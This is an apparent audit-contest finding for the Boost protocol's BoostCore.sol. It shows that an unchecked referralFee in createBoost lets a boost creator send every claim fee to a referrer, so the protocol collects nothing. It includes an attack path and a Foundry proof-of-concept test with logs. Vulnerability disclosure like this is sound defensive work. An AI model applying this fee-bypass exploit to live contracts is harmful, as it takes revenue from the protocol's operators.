Powerful Onyx Urchin

Medium

# A boost can be created in such a way that the Boost protocol doesn't receive any fees.

### Summary

In the ``BoostCore.sol`` contract we can see that the protocol declares a [protocolFee](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L67), a [referralFee](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L70), and a [claimFee](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L64). And from the implementation of the [claimIncentiveFor()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L164-L180) function which internally calls the [_routeClaimFee()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L305-L314) function, we can see that the protocol expects to receive some fee, when users try to claim their incentives. The [_routeClaimFee()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L305-L314) function:
```solidity
    function _routeClaimFee(BoostLib.Boost storage boost, address referrer_) internal {
        if (claimFee == 0) return;
        uint256 netFee = claimFee;

        // If a referrer is provided, transfer the revshare and reduce the net fee
        if (referrer_ != address(0)) {
            uint256 referralShare = claimFee * boost.referralFee / FEE_DENOMINATOR;
            netFee -= referralShare;
            referrer_.safeTransferETH(referralShare);
        }

        // The remaining fee is split between the owner and the protocol
        boost.owner.safeTransferETH(netFee / 2);
        protocolFeeReceiver.safeTransferETH(address(this).balance);
    }
```
As can be seen from the above code snippet, the [protocolFee](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L67) that is set to **1_000 BIPS** initially which is equal to 10%, is not enforced anywhere, only the **referralFee** is applied and then the remaining fee is split between the owner of the boost and the **protocolFeeReceiver**. In the docs there is no mention that boost owners should collect fees, when other users claim rewards from boosts. Secondly if the **referralFee** is 10%, the owner will receive **45%** of the claim fee, even if the [protocolFee](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L67) is set to **1_000 BIPS**.  However it is possible for a boost creator to create such a boost that the Boost protocol doesn't collect any fees. When creating a boost via the [createBoost()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L106-L144) function, the boost creator can specify and arbitrary number for the **referralFee**. When the boost is created the **boost.referralFee** can be equal to **10_000** which will send all the fees to the referral that the person who claims the incentive sets. 

Per the Readme: 
**Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?**

**BoostCore.sol::protocolFee = Between 0 - FEE_DENOMINATOR**
**BoostCore.sol::referralFee = Between 0 - FEE_DENOMINATOR**

### Root Cause
When boost are created via the [createBoost()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L106-L144) function, there are no checks performed to see if the fees are in the expected range, if when the fees are summed up , their sum is not bigger than 100%, or if the referral fee is equal to 10_000 BIPS, which per the readme are accepted values. 

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path
1. The initially set [referralFee](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L70) stays **1_000** 
2. When setting up the boost the boost creator set the **payload_.referralFee** parameter to **9_000** thus the total fee for the boost will be **10_000** which is equal to 100%.
3. When users claim their incentives via the [claimIncentive()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L151-L156) or [claimIncentiveFor()](https://github.com/sherlock-audit/2024-06-boost-aa-wallet/blob/main/boost-protocol/packages/evm/contracts/BoostCore.sol#L164-L180) function, the protocol will collect 0 fees. 
### Impact
The protocol won't receive any fees, when users claim their incentives, which is a direct theft of funds from the protocol. 
### PoC

[Gist](https://gist.github.com/AtanasDimulski/f348a8aae7e5cc509d4cbb952cd5ea47)
After following the steps in the above mentioned [gist](https://gist.github.com/AtanasDimulski/f348a8aae7e5cc509d4cbb952cd5ea47) add the following test to the ``AuditorTests.t.sol`` file:

```solidity
    function test_ProtocolReceivesNoFees() public {
        vm.startPrank(alice);
        managedBudgetImplementation = new ManagedBudget();
        managedBudgetClone = ManagedBudget(payable(address(managedBudgetImplementation).clone()));
        mockERC20.mint(alice, 200e18);
        mockERC20.transfer(address(managedBudgetClone), 200e18);

        address[] memory authorize = new address[](1);
        authorize[0] = address(boostCore);
        uint256[] memory roles = new uint256[](1);
        roles[0] = 1;

        managedBudgetClone.initialize(
            abi.encode(
                ManagedBudget.InitPayload({owner: alice, authorized: authorize, roles: roles})
            )
        );

        BoostLib.Target memory action = _makeAction(address(mockERC721), MockERC721.mint.selector, mockERC721.mintPrice());
        BoostLib.Target memory allowList = _makeAllowList(alice, alice);

        bytes memory validCreateCalldata = LibZip.cdCompress(
            abi.encode(
                BoostCore.InitPayload({
                    budget: managedBudgetClone,
                    action: action,
                    validator: BoostLib.Target({isBase: true, instance: address(0), parameters: ""}),
                    allowList: allowList,
                    incentives: _makeIncentives(1),
                    protocolFee: 500, // 5%
                    referralFee: 9_000, // make the total referral fee 100%
                    maxParticipants: 10_000,
                    owner: alice
                })
            )
        );
        boostCore.createBoost(validCreateCalldata);   
        vm.stopPrank();

        vm.startPrank(bob);
        deal(bob, 0.85e18);
        mockERC721.mint{value: 0.1e18}(bob);
        bytes memory bobData = abi.encode(bob, abi.encode(uint256(1)));
        console2.log("Tom's ETH balance: ", tom.balance);
        boostCore.claimIncentive{value: 0.000075e18}(0, 0, tom, bobData);
        console2.log("Tom's ETH balance: ", tom.balance);
        console2.log("MockERC20 balance of bob: ", mockERC20.balanceOf(bob));
        console2.log("ETH balance of the protocolFeeReceiver set by the boost protocol: ", protocolFeeReceiver.balance);
        vm.stopPrank();
    }
```

```solidity
Logs:
  Tom's ETH balance:  0
  Tom's ETH balance:  75000000000000
  MockERC20 balance of bob:  1000000000000000000
  ETH balance of the protocolFeeReceiver set by the boost protocol:  0
```

To run the test use: ``forge test -vvv --mt test_ProtocolReceivesNoFees``

### Mitigation

_No response_